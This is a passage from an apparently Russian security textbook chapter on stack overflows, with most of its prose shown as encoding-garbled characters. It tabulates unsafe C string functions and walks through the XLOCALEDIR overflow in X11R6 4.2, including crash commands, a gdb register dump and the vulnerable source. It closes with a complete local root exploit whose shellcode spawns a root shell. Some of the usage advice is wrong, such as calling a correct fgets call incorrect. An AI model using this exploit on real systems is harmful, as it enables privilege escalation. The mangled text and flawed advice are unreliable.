ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì, ÷òîáû äàííûå
â áóôåðå-ïðèåìíèêå çàâåðøàëèñü íóëåì, èíà÷å ôóíêöèÿ, â êîòîðîé îí
èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî.

 7
 8 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:

 9 char dest[20];

10 strcpy(dest, argv[1]);

11
12 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:

13 char dest[20] = {0};

14 if (argv[1]) strncpy(dest, argv[1], sizeof(dest) – 1);

15
16 Èìÿ ôóíêöèè: strncpy

17 Êëàññ: ïåðåïîëíåíèå ñòåêà

18 Ïðîòîòèï: char *strncpy(char *dest, const char *src, size_t n);

19 Çàãîëîâî÷íûé ôàéë: #include <string.h>

20 Îïèñàíèå:

21 Åñëè ðàçìåð áóôåðà-èñòî÷íèêà áîëüøå ðàçìåð áóôåðà-ïðèåìíèêà è
âåëè÷èíà n âû÷èñëåíà íåïðàâèëüíî, òî ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå
òîãî, ñëåäèòå çà òåì, ÷òîáû äàííûå â áóôåðå-ïðèåìíèêå çàâåðøàëèñü
íóëåì, èíà÷å ôóíêöèÿ, â êîòîðîé îí èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü
íåïðàâèëüíî.

22
23 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:

24 char dest[20];

25 strncpy(dest, argv[1], sizeof(dest));

26
27 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:

28 char dest[20] = {0};
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29 if (argv[1]) strncpy(dest, argv[1], sizeof(dest) – 1);

30
31 Èìÿ ôóíêöèè: strcat

32 Êëàññ: ïåðåïîëíåíèå ñòåêà

33 Ïðîòîòèï: char *strcat(char *dest, const char *src);

34 Çàãîëîâî÷íûé ôàéë: #include <string.h>

35 Îïèñàíèå:

36 Åñëè ðàçìåð áóôåðà-èñòî÷íèêà áîëüøå ðàçìåð áóôåðà-ïðèåìíèêà, òî
ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì, ÷òîáû äàííûå
â áóôåðå-ïðèåìíèêå çàâåðøàëèñü íóëåì êàê äî, òàê è ïîñëå âûçîâà
ôóíêöèè, èíà÷å ôóíêöèÿ, â êîòîðîé îí èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü
íåïðàâèëüíî. Ôóíêöèè êîíêàòåíàöèè ïðåäïîëàãàþò, ÷òî äàííûå â áóôåðå-
ïðèåìíèêå óæå çàâåðøàþòñÿ íóëåì.

37
38 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:

39 char dest[20];

40 strcat(dest, argv[1]);

41
42 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:

43 char dest[20] = {0};

44 if (argv[1]) strncat(dest, argv[1], sizeof(dest) – 1);

45
46 Èìÿ ôóíêöèè: strncat

47 Êëàññ: ïåðåïîëíåíèå ñòåêà

48 Ïðîòîòèï: char *strncat(char *dest, const char *src, size_t n);

49 Çàãîëîâî÷íûé ôàéë: #include <string.h>

50 Îïèñàíèå:

51 Åñëè ðàçìåð áóôåðà-èñòî÷íèêà áîëüøå ðàçìåð áóôåðà-ïðèåìíèêà è
âåëè÷èíà n âû÷èñëåíà íåïðàâèëüíî, òî ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå
òîãî, ñëåäèòå çà òåì, ÷òîáû äàííûå â áóôåðå-ïðèåìíèêå çàâåðøàëèñü
íóëåì êàê äî, òàê è ïîñëå âûçîâà ôóíêöèè, èíà÷å ôóíêöèÿ, â êîòîðîé îí
èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî. Ôóíêöèè êîíêàòåíàöèè
ïðåäïîëàãàþò, ÷òî äàííûå â áóôåðå-ïðèåìíèêå óæå çàâåðøàþòñÿ íóëåì.

52
53 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:

54 char dest[20];

55 strncat(dest, argv[1], sizeof(dest));

56
57 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:

58 char dest[20] = {0};

59 if (argv[1]) strncat(dest, argv[1], sizeof(dest) – 1);

60
61 Èìÿ ôóíêöèè: sprintf

62 Êëàññ: ïåðåïîëíåíèå ñòåêà è îøèáêè ôîðìàòíîé ñòðîêè

63 Ïðîòîòèï: int sprintf(char *str, const char *format, ...);

64 Çàãîëîâî÷íûé ôàéë: #include <stdio.h>

65 Îïèñàíèå:

66 Åñëè ðàçìåð áóôåðà-ïðèåìíèêà str ìåíüøå, ÷åì â íåãî çàïèñûâàåòñÿ
ñèìâîëîâ, òî ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì,
÷òîáû äàííûå â áóôåðå-ïðèåìíèêå çàâåðøàëèñü íóëåì, èíà÷å ôóíêöèÿ, â

Переполнение стека
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êîòîðîé îí èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî. Åñëè ôîðìàòíàÿ
ñòðîêà íå çàäàíà, âîçìîæíî èçìåíåíèå ïðîèçâîëüíîãî àäðåñà â ïàìÿòè.

 67
 68 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:
 69 char dest[20];
 70 sprintf(dest, argv[1]);
 71
 72 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:
 73 char dest[20] = {0};
 74 if (argv[1]) snprintf(dest, sizeof(dest) – 1, "%s", argv[1]);
 75
 76 Èìÿ ôóíêöèè: snprintf
 77 Êëàññ: ïåðåïîëíåíèå ñòåêà è îøèáêè ôîðìàòíîé ñòðîêè
 78 Ïðîòîòèï: int snprintf(char *str, size_t size, const char *format,
                          ...);
 79 Çàãîëîâî÷íûé ôàéë: #include <stdio.h>
 80 Îïèñàíèå:
 81 Åñëè ðàçìåð áóôåðà-ïðèåìíèêà str ìåíüøå, ÷åì â íåãî çàïèñûâàåòñÿ

ñèìâîëîâ è âåëè÷èíà size âû÷èñëåíà íåâåðíî, òî ïðîèçîéäåò
ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì, ÷òîáû äàííûå â áóôåðå-
ïðèåìíèêå çàâåðøàëèñü íóëåì, èíà÷å ôóíêöèÿ, â êîòîðîé îí
èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî. Åñëè ôîðìàòíàÿ ñòðîêà
íå çàäàíà, âîçìîæíî èçìåíåíèå ïðîèçâîëüíîãî àäðåñà â ïàìÿòè.

 82
 83 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:
 84 char dest[20];
 85 snprintf(dest, sizeof(dest), argv[1]);
 86
 87 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:
 88 char dest[20] = {0};
 89 if (argv[1]) snprintf(dest, sizeof(dest) – 1, "%s", argv[1]);
 90
 91 Èìÿ ôóíêöèè: gets
 92 Êëàññ: ïåðåïîëíåíèå ñòåêà
 93 Ïðîòîòèï: char *gets(char *s);
 94 Çàãîëîâî÷íûé ôàéë: #include <stdio.h>
 95 Îïèñàíèå:
 96 Åñëè ðàçìåð áóôåðà-ïðèåìíèêà s ìåíüøå, ÷åì â íåãî çàïèñûâàåòñÿ

ñèìâîëîâ, òî ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì,
÷òîáû äàííûå â áóôåðå- ïðèåìíèêå çàâåðøàëèñü íóëåì, èíà÷å ôóíêöèÿ, â
êîòîðîé îí èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî.

 97
 98 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:
 99 char dest[20];
100 gets(dest);
101
102 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:
103 char dest[20] = {0};
104 fgets(dest, sizeof(dest) – 1, stdin);
105
106 Èìÿ ôóíêöèè: fgets
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107 Êëàññ: ïåðåïîëíåíèå ñòåêà

108 Ïðîòîòèï: char *fgets(char *s, int size, FILE *stream);

109 Çàãîëîâî÷íûé ôàéë: #include <stdio.h>

110 Îïèñàíèå:

111 Åñëè ðàçìåð áóôåðà-ïðèåìíèêà s ìåíüøå, ÷åì â íåãî çàïèñûâàåòñÿ
ñèìâîëîâ, òî ïðîèçîéäåò ïåðåïîëíåíèå. Êðîìå òîãî, ñëåäèòå çà òåì,
÷òîáû äàííûå â áóôåðå- ïðèåìíèêå çàâåðøàëèñü íóëåì, èíà÷å ôóíêöèÿ, â
êîòîðîé îí èñïîëüçóåòñÿ, ìîæåò ðàáîòàòü íåïðàâèëüíî.

112
113 Ïðèìåð íåïðàâèëüíîãî èñïîëüçîâàíèÿ:

114 char dest[20];

115 fgets(dest, sizeof(dest), stdin);

116
117 Ïðèìåð ïðàâèëüíîãî èñïîëüçîâàíèÿ:

118 char dest[20] = {0};

119 fgets(dest, sizeof(dest) – 1, stdin);

Ìíîãèå óÿçâèìîñòè ïðîèñòåêàþò èç ïåðåïîëíåíèÿ ñòåêà, âûçâàííîãî íå-
ïðàâèëüíûì èñïîëüçîâàíèåì ýòèõ è àíàëîãè÷íûõ èì ôóíêöèé. Âïðî÷åì, òà-
êèå óÿçâèìîñòè îáû÷íî îáíàðóæèâàþòñÿ òîëüêî â ðåäêî èñïîëüçóåìûõ
ïðèëîæåíèÿõ èëè â ïðîãðàììàõ ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè. Íàéòè
âñå ìåñòà, â êîòîðûõ íåêîððåêòíî ïðèìåíÿþòñÿ ñòàíäàðòíûå ôóíêöèè,
î÷åíü ïðîñòî, ïîýòîìó èç ïðîãðàìì ñ îòêðûòûìè èñõîäíûìè òåêñòàìè òàêèå
îøèáêè äàâíî âû÷èùåíû.

Поиск поддающихся эксплуатации

переполнений стека в программах

с открытыми исходными текстами

×òîáû íàéòè îøèáêè â ïðîãðàììàõ ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè,
÷àñòî áûâàåò íåîáõîäèìî çàíÿòüñÿ äèçàññåìáëèðîâàíèåì. Öåëü åãî – âîññòà-
íîâèòü ïðîãðàììû â èñõîäíîì âèäå (äî êîìïèëÿöèè). Åñëè æå èñõîäíûå
òåêñòû îòêðûòû, òî òàêîé íåîáõîäèìîñòè, åñòåñòâåííî, íå âîçíèêàåò.

Âîîáùå ãîâîðÿ, ñóùåñòâóåò âñåãî äâà ìåòîäà ïîèñêà ïåðåïîëíåíèé ñòåêà
â ïðîãðàììàõ ñ îòêðûòûìè èñõîäíûìè òåêñòàìè: àâòîìàòè÷åñêèé ðàçáîð
êîäà ñ ïîìîùüþ ðàçíîîáðàçíûõ èíñòðóìåíòîâ è ðó÷íîé àíàëèç (äà-äà, ïîñëå-
äíåå îçíà÷àåò âû÷èòûâàíèå òåêñòà ïðîãðàììû ñòðîêà çà ñòðîêîé). Åñëè ãîâî-
ðèòü î ïåðâîì ïîäõîäå, òî âñå ñâîáîäíî ðàñïðîñòðàíÿåìûå èíñòðóìåíòû
àíàëèçà ïðîãðàìì ìàëî ÷òî óìåþò äåëàòü ñâåðõ ïîèñêà â òåêñòå èìåí ñòàíäàð-
òíûõ ôóíêöèé, êîòîðûå ÷àñòî ïðèìåíÿþòñÿ íåêîððåêòíî. Ïîñêîëüêó âñå
øèðîêî èñïîëüçóåìûå îòêðûòûå ïðîãðàììû óæå íà ïðîòÿæåíèè ìíîãèõ ëåò
ïîäâåðãàþòñÿ ðó÷íîìó àíàëèçó, òî ïðîñòûå îøèáêè äàâíî íàéäåíû, è òàêîé
íàèâíûé ïîäõîä ïî ñóùåñòâó áåñïîëåçåí.

Переполнение стека
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Îòêðîâåííî ãîâîðÿ, ñàìûé ïåðñïåêòèâíûé ïîäõîä – ýòî ïîñòðî÷íûé àíà-
ëèç òåêñòà, íà÷èíàÿ ñ íàèáîëåå ïîäîçðèòåëüíûõ ôóíêöèé (òåõ, êîòîðûì
íàïðÿìóþ ïåðåäàþòñÿ çàäàííûå ïîëüçîâàòåëåì àðãóìåíòû, â êîòîðûõ èñ-
ïîëüçóþòñÿ ôàéëû èëè ñîêåòû, à òàêæå ðàñïðåäåëÿåòñÿ ëèáî îñâîáîæäàåòñÿ
ïàìÿòü). ×òîáû ïîäòâåðäèòü âîçìîæíîñòü íàïèñàíèÿ ýêñïëîéòà äëÿ îáíàðó-
æåííîé íåòðèâèàëüíîé îøèáêè, ïðîãðàììó íåîáõîäèìî çàïóñòèòü (îòêîì-
ïèëèðîâàòü è âûïîëíèòü â ðåàëüíûõ óñëîâèÿõ). Ïðîèëëþñòðèðîâàòü îòëàäêó
«æèâîãî» ïðèëîæåíèÿ â ýòîé êíèãå ìû íå ñìîæåì, íî ñëåäóþùèé ïðèìåð
ïîçâîëèò âàì ñîñòàâèòü ïðåäñòàâëåíèå î ïðîöåäóðå.

Пример: переполнение
XLOCALEDIR в X11R6 4.2
Â ïðîøëîì èññëåäîâàòåëè, èùóùèå íîâûå óÿçâèìîñòè, ðåäêî îáðàùàëè
âíèìàíèå íà áèáëèîòåêè. Íî ñóùåñòâóþùèå â áèáëèîòå÷íûõ ôóíêöèÿõ
îøèáêè ìîãóò îêàçàòü íåãàòèâíîå âëèÿíèå íà âñå ïðîãðàììû, â êîòîðûõ îíè
èñïîëüçóþòñÿ (ñì. íèæå ïðèìåð «Óÿçâèìîñòü, ñâÿçàííàÿ ñ ïåðåïîëíåíèåì áó-
ôåðà èç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷à â OpenSSL
SSLv2, CAN-2002-0656»). Ê òàêîãî ðîäà ïðîáëåìàì îòíîñèòñÿ ïåðåïîëíåíèå
XLOCALEDIR â áèáëèîòåêå X11R6 4.2. Â áèáëèîòåêàõ X11 íåêîððåêòíî èñ-
ïîëüçóåòñÿ ôóíêöèÿ strcpy, ÷òî äåëàåò óÿçâèìûìè ìíîãèå ëîêàëüíûå ïðèëî-
æåíèÿ íà ðàçëè÷íûõ ïëàòôîðìàõ. Ëþáàÿ setuid-ïðîãðàììà, ñêîìïîíîâàííàÿ
ñ áèáëèîòåêàìè X11 è îáðàùàþùàÿñÿ â ïåðåìåííîé îêðóæåíèÿ XLOCALEDIR,
ìîæåò áûòü àòàêîâàíà.

Îïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòèÎïèñàíèå óÿçâèìîñòè

Íà÷íåì ñ ïðîñòîãî óòâåðæäåíèÿ: ïðè îáðàáîòêå ïåðåìåííîé îêðóæåíèÿ
XLOCALEDIR â òåêóùåé âåðñèè áèáëèîòåê X11R6 (ýòî 4.2) åñòü îøèáêà. Ðàç-
ðàáîò÷èê ðåàëüíîãî ýêñïëîéòà ÷àñòî ïîëó÷àåò èíôîðìàöèþ îá îøèáêå èç
IRC-÷àòà èëè ïî ñëóõàì èëè èç òóìàííîãî ñîîáùåíèÿ ïðîèçâîäèòåëÿ èëè èç
êðàòêîãî êîììåíòàðèÿ â CVS-õðàíèëèùå, íàïðèìåð, «èñïðàâëåíà îøèáêà
ïåðåïîëíåíèÿ öåëîãî â ôóíêöèè copyout». Íî äàæå èìåÿ òàêèå îòðûâî÷íûå
ñâåäåíèÿ, ìû ìîæåì âîññîçäàòü ñöåíàðèé öåëèêîì. Äëÿ íà÷àëà âûÿñíèì, ÷òî
òàêîå ïåðåìåííàÿ îêðóæåíèÿ XLOCALEDIR.

Ñîãëàñíî ôàéëó RELNOTES-X.org èç äèñòðèáóòèâà X11R6 4.2, XLOCALEDIR
«ïî  óìîë÷àíèþ óêàçûâàåò íà êàòàëîã $ProjectRoot/l ib/X11/locale. Ïåðåìåííàÿ
XLOCALEDIR ìîæåò ñîäåðæàòü íåñêîëüêî ïóòåé, ðàçäåëåííûõ äâîåòî÷èÿìè».
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Ïîñêîëüêó íàñ èíòåðåñóþò ëèøü òå ïðèëîæåíèÿ X11, êîòîðûå ðàáîòàþò îò
èìåíè ïðèâèëåãèðîâàííîãî ïîëüçîâàòåëÿ (â äàííîì ñëó÷àå root), òî âûïîë-
íÿåì òàêîé ïîèñê:

$ find /usr/X11R6/bin -perm -4755
/usr/X11R6/bin/xlock
/usr/X11R6/bin/xscreensaver
/usr/X11R6/bin/xterm

Îøèáêà ìîæåò ïðîÿâëÿòüñÿ è â äðóãèõ ïðèëîæåíèÿõ, êîòîðûå íàõîäÿòñÿ
âíå êàòàëîãà /usr/X11R6/bin èëè â íåì, íî íå ÿâëÿþòñÿ setuid-ïðîãðàììàìè.
Íåîáÿçàòåëüíî òàêæå, ÷òî âñå íàéäåííûå ïðèëîæåíèÿ óÿçâèìû, íî òàêîé
øàíñ åñòü, ïîñêîëüêó îíè ÿâëÿþòñÿ ÷àñòüþ äèñòðèáóòèâà X11R6 è èìåþò ïî-
âûøåííûå ïðèâèëåãèè. Íóæíî èñêàòü äàëüøå.

×òîáû ïîíÿòü, óÿçâèìà ëè ïðîãðàììà /usr/X11R6/bin/xlock, âûïîëíèì ñëå-
äóþùóþ êîìàíäó:

$ export XLOCALEDIR=‘perl -e 'print "A"x7000'"‘
$ /usr/X11R6/bin/xlock
Segmentation fault

Åñëè ïðîãðàììà àâàðèéíî çàâåðøàåòñÿ ñ ñîîáùåíèåì «Segmentation fault»,
òî ìû íà ïðàâèëüíîì ïóòè: îøèáêà ñóùåñòâóåò, è, âîçìîæíî, ýòà ïðîãðàììà
óÿçâèìà.

Ñëåäóþùèå êîìàíäû ïðèçâàíû ïðîâåðèòü, ïîäâåðæåíû ëè òîé æå îøèáêå
ïðîãðàììû /usr/X11R6/bin/xscreensaver è /usr/X11R6/bin/xterm.

$ export XLOCALEDIR=‘perl -e 'print "A"x7000'"‘
$ /usr/X11R6/bin/xterm
/usr/X11R6/bin/xterm Xt error: Can't open display:
$ /usr/X11R6/bin/xscreensaver
xscreensaver: warning $DISPLAY is not set: defaulting to ":0.0".
Segmentation fault

Ïðîãðàììà xscreensaver çàâåðøèëàñü àâàðèéíî, à xterm – íåò. Íî îáå âûäà-
ëè ñîîáùåíèå î íåâîçìîæíîñòè îòêðûòü äèñïëåé. Èñïðàâèì ýòî.

$ export DISPLAY="10.0.6.76:0.0"
$ /usr/X11R6/bin/xterm
Segmentation fault
$ /usr/X11R6/bin/xscreensaver
Segmentation fault

Êàê âèäèì, âñå òðè ïðîãðàììû çàâåðøàþòñÿ ñ ñîîáùåíèåì «Segmentation
fault». Íî äëÿ xterm è xscreensaver íóæåí ëîêàëüíûé èëè óäàëåííûé X-ñåðâåð,
ïîýòîìó äëÿ ïðîñòîòû áóäåì èññëåäîâàòü ëèøü xlock.

Пример: переполнение XLOCALEDIR в X11R6 4.2
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 1 $ export XLOCALEDIR=‘perl -e 'print "A"x7000'"‘

 2 $ gdb

 3 GNU gdb 5.2

 4 Copyright 2002 Free Software Foundation, Inc.

 5 GDB is free software, covered by the GNU General Public License, and

you are welcome to change it and/or distribute copies of it under

certain conditions.

 6 Type "show copying" to see the conditions.

 7 There is absolutely no warranty for GDB. Type "show warranty" for

details.

 8 This GDB was configured as "i386-slackware-linux"

 9 (gdb) file /usr/X11R6/bin/xlock

10 Reading symbols from /usr/X11R6/bin/xlock... (no debugging symbols

found)... done.

11 (gdb) run

12 Starting program: /usr/X11R6/bin/xlock

13 (no debugging symbols found)... (no debugging symbols found)...

14 (no debugging symbols found)... (no debugging symbols found)...

15 (no debugging symbols found)... (no debugging symbols found)...

[New Thread 1024 (LWP 1839)]

16
17 Program received signal SIGSEGV, Segmentation fault.

18 [Switching to Thread 1024 (LWP 1839)]

19 0x41414141 in ?? ()

20 (gdb) i r

21 eax 0x0 0

22 ecx 0x403c1a01 1077680641

23 edx 0xffffffff -1

24 ebx 0x4022b984 1076017540

25 esp 0xbfffd844 0xbfffd844

26 ebp 0x41414141 0x41414141

27 esi 0x8272b60 136784736

28 edi 0x403b4083 1077624963

29 eip 0x41414141 0x41414141

30 eflags 0x246 582

31 cs 0x23 35

32 ss 0x2b 43

33 ds 0x2b 43

34 es 0x2b 43

35 fs 0x0 0

36 gs 0x0 0

37 [other registers truncated]

38 (gdb)

Êàê âèäèòå, äëÿ óÿçâèìîñòè â xlock îïðåäåëåííî ìîæíî íàïèñàòü ýêñï-
ëîéò. Ðåãèñòð EIP â ñòåêå ïîëíîñòüþ ïåðåïèñàí, òåïåðü åãî çíà÷åíèå ðàâíî
0x41414141 (AAAA). Åñëè ïîìíèòå, ïåðåä çàïóñêîì xlock ìû âûïîëíèëè êî-
ìàíäó export XLOCALEDIR=‘perl -e 'print “A”x7000'”‘, ïîýòîìó â áóôåð äëÿ õðà-
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íåíèÿ XLOCALEDIR áûëî çàïèñàíî 7000 áóêâ 'A'. Òàê ÷òî èìåííî ÷àñòü ýòî-
ãî áóôåðà è íàëîæèëàñü íà ðåãèñòð EIP. Çíàÿ, ÷òî åñòü âîçìîæíîñòü ïåðåïè-
ñàòü è óêàçàòåëü ôðåéìà ñòåêà, è ñ÷åò÷èê êîìàíä, à ïîëó÷èâ íåîáõîäèìûé äëÿ
ýòîãî ðàçìåð áóôåðà, ìû ìîæåì ñ áîëüøîé äîëåé óâåðåííîñòè ïðåäïîëî-
æèòü, ÷òî ýêñïëîéò âîçìîæåí.

Íàéòè ñîäåðæàùèå  îøèáêó ñòðîêè â ôàéëå  xc/l ib/X11/lcFile.c íåñëîæíî:

static void xlocaledir(char *buf, int buf_len)
{
  char *dir, *p = buf;
  int len = 0;

  dir = getenv("XLOCALEDIR");
  if (dir != NULL) {
     len = strlen(buf);
     strncpy(p, dir, buf_len);
 }
}

Óÿçâèìîñòü âîçíèêàåò èç-çà òîãî, ÷òî ïðè âûçîâå ôóíêöèè xlocaledir ñòðîêà
dir (âîçâðàùàåìàÿ ôóíêöèåé getenv) ìîæåò îêàçàòüñÿ äëèííåå, ÷åì ðàçìåð áó-
ôåðà buf_len.

ÝêñïëîéòÝêñïëîéòÝêñïëîéòÝêñïëîéòÝêñïëîéò
Ñëåäóþùèé ýêñïëîéò íàïðàâëåí ïðîòèâ óÿçâèìîñòè â äèñòðèáóòèâå XFree86
4.3, ñóùåñòâóþùåé âî ìíîãèõ ñèñòåìàõ Linux è ïðîÿâëÿþùåéñÿ ïðè çàïóñêå
òàêèõ ïðîãðàìì, êàê xlock, xscreensaver è xterm.

 1 /*

 2  Îðèãèíàëüíûé ýêñïëîéò:

 3  ** oC-localX.c – XFree86 Version 4.2.x local root exploit

 4  ** By dcrypt && tarranta / oC

 5
 6  Ýòîò ýêñïëîéò ÿâëÿåòñÿ ìîäèôèöèðîâàííîé âåðñèåé oC-localX.c,

 7  ðàáîòàåò áåç ñìåùåíèÿ.

 8
 9  Â íåêîòîðûõ äèñòðèáóòèâàõ åñòü ôàéë: /usr/X11R6/bin/dga +s

10  Äëÿ ýòîé ïðîãðàììû òàêîé ýêñïëîéò ðàáîòàòü íå áóäåò, ïîñêîëüêó

11  îíà îòêàçûâàåòñÿ îò ïðèâèëåãèé root ïåðåä òåì, êàê çàïóñêàòü

12  ôóíêöèþ èç áèáëèîòåêè Xlib, ïîäâåðæåííóþ äàííîìó ïåðåïîëíåíèþ.

13  Ýêñïëîéò ðàáîòàåò âî âñåõ äèñòðèáóòèâàõ Linux x86.

14
15  Òåñòèðîâàëñÿ äëÿ:

16    – Slackware 8.1 (xlock, xscreensaver, xterm)

17    – Redhat 7.3 (ïîñëå ðó÷íîãî äîáàâëåíèÿ +s ê xlock)

18    – Suse 8.1 (ïîñëå ðó÷íîãî äîáàâëåíèÿ +s ê xlock)

Пример: переполнение XLOCALEDIR в X11R6 4.2
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19
20   Àâòîð: Inode <inode@mediaservice.net>

21 */

22
23 #include <stdio.h>

24 #include <stdlib.h>

25 #include <string.h>

26 #include <unistd.h>

27
28 static char shellcode[] =

29
30   /* setresuid(0,0,0); */

31   "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"

32   /* /bin/sh execve(); */

33   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

34   "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

35   /* exit(0); */

36   "\x31\xdb\x89\xb0\x01\xcd\x80";

37
38 #define ALIGN 0

39
40 int main(int argc, char **argv)

41 {

42   char buffer[6000];

43   int i;

44   int ret;

45   char *env[3] = {buffer, shellcode, NULL};

46
47   int *ap;

48
49   strcpy(buffer, "XLOCALEDIR=");

50
51   printf("\nXFree86 4.2.x Exploit modified by Inode "

         "<inode@mediaservice.net>\n\n");

52   if (argc != 3)

53   {

54     printf(" Usage: %s <full path> <name>\n", argv[0]);

55     printf("\n Example: %s /usr/X11R6/bin/xlock xlock\n\n", argv[0]);

56     return 1;

57   }

58
59   ret = 0xbffffffa – strlen(shellcode) – strlen(argv[1]);

60
61   ap = (int *)( buffer + ALIGN + strlen(buffer) );

62
63   for (i = 0; i < sizeof(buffer); i += 4)

64       *ap++ = ret;

65
66   execle(argv[1], argv[2], NULL, env);
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67
68   return(0);

69 }

Shell-êîä íàõîäèòñÿ â ñòðîêàõ 30–36. Îí âûïîëíÿåòñÿ ïîñëå çëîíàìåðåííî-
ãî ïåðåïîëíåíèÿ áóôåðà è çàïóñêàåò äëÿ àòàêóþùåãî îáîëî÷êó ñ ïðèâèëåãèÿ-
ìè root. Äëÿ ýòîãî ñíà÷àëà ñèñòåìíûé âûçîâ setresuid óñòàíàâëèâàåò ïðèâèëå-
ãèè, à çàòåì execve çàïóñêàåò /bin/sh.

ÂûâîäÂûâîäÂûâîäÂûâîäÂûâîä

Óÿçâèìîñòè ÷àñòî ìîæíî íàéòè â áèáëèîòåêàõ, èñïîëüçóåìûõ ñðàçó âî ìíî-
ãèõ ïðèëîæåíèÿõ. Åñëè óäàñòñÿ íàéòè òàêóþ îøèáêó, òî âû ñðàçó ïîëó÷àåòå
â ñâîå ðàñïîðÿæåíèå ìàññó âîçìîæíûõ âàðèàíòîâ äåéñòâèé; åñëè â êîíêðåòíîé
ñèñòåìå íå îêàæåòñÿ îäíîãî ïðèëîæåíèÿ, ÷òî æ – ìîæíî àòàêîâàòü äðóãîå.
Ñ òå÷åíèåì âðåìåíè òàêèå óÿçâèìîñòè áóäóò îáíàðóæèâàòü è ýêñïëóàòèðîâàòü
âñå ÷àùå. Â íàøåì ñëó÷àå îøèáêà â áèáëèîòåêå ñêîìïðîìåòèðîâàëà íåñêîëü-
êî ïðèâèëåãèðîâàííûõ ïðèëîæåíèé âî ìíîãèõ äèñòðèáóòèâàõ Linux. Îøèá-
êà â áèáëèîòåêå OpenSSL ïîñòàâèëà ïîä óãðîçó ðÿä èñïîëüçóþùèõ åå ïðèëî-
æåíèé, â òîì ÷èñëå Apache è stunnel.

Поиск переполнений стека в программах

с недоступными исходными текстами

Ïîèñê ëþáîãî âèäà óÿçâèìîñòåé, ïðèãîäíûõ äëÿ íàïèñàíèÿ ýêñïëîéòà, â ïðî-
ãðàììàõ ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè ñðîäíè ÷åðíîé ìàãèè. Ïî
ñðàâíåíèþ ñ äðóãèìè îáëàñòÿìè èíôîðìàöèîííîé áåçîïàñíîñòè ýòà òåìà
î÷åíü ïëîõî äîêóìåíòèðîâàíà. Çäåñü ïðèìåíÿåòñÿ öåëûé íàáîð ðàçíîîáðàç-
íûõ ïðèåìîâ. Ê ÷èñëó ïîëåçíûõ èíñòðóìåíòîâ îòíîñÿòñÿ äèçàññåìáëåðû, îò-
ëàä÷èêè, òðàññèðîâùèêè (tracer) è ãåíåðàòîðû ñëó÷àéíûõ äàííûõ (fuzzer).
Ïðè ýòîì äèçàññåìáëåðû è îòëàä÷èêè íàìíîãî ïîëåçíåå òðàññèðîâùèêîâ è
ãåíåðàòîðîâ äàííûõ. Äèçàññåìáëåð âîññòàíàâëèâàåò èñõîäíûé àññåìáëåðíûé
êîä, à îòëàä÷èê ïîçâîëÿåò èíòåðàêòèâíî ïðîõîäèòü ïðîãðàììó ïî øàãàì,
à òàêæå ïðîñìàòðèâàòü è èçìåíÿòü ïàìÿòü è âûïîëíÿòü äðóãèå ôóíêöèè. Ñà-
ìûì ëó÷øèì äèçàññåìáëåðîì ÿâëÿåòñÿ IDA. Íåäàâíî â íåãî áûëè äîáàâëåíû
íåêîòîðûå âîçìîæíîñòè îòëàä÷èêîâ, õîòÿ SoftICE (òîëüêî äëÿ Win32) è gdb
â ýòîì êà÷åñòâå ãîðàçäî ìîùíåå. Òðàññèðîâùèê – ýòî íå áîëåå ÷åì àâòîìà-
òèçèðîâàííûé îòëàä÷èê, ïîçâîëÿþùèé èñïîëíÿòü ïðèëîæåíèå â ïîøàãîâîì
ðåæèìå ñ ìèíèìàëüíûì ó÷àñòèåì ïîëüçîâàòåëÿ. Ãåíåðàòîð ñëó÷àéíûõ äàí-
íûõ – ýòî ÷àñòî ïðèìåíÿåìûé, íî äîâîëüíî ñëàáûé ñïîñîá òåñòèðîâàíèÿ
ñðîäíè íèçêîêà÷åñòâåííîìó ìåòîäó ãðóáîé ñèëû.

Пример: переполнение XLOCALEDIR в X11R6 4.2
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Эксплойты для затирания кучи
Êó÷à – ýòî îáëàñòü, èç êîòîðîé ïðèëîæåíèå âûäåëÿåò ïàìÿòü äèíàìè÷åñêè,
âî âðåìÿ âûïîëíåíèÿ (ðèñ. 11.5). ×àñòî ïåðåïîëíÿþòñÿ áóôåðû, ïàìÿòü äëÿ
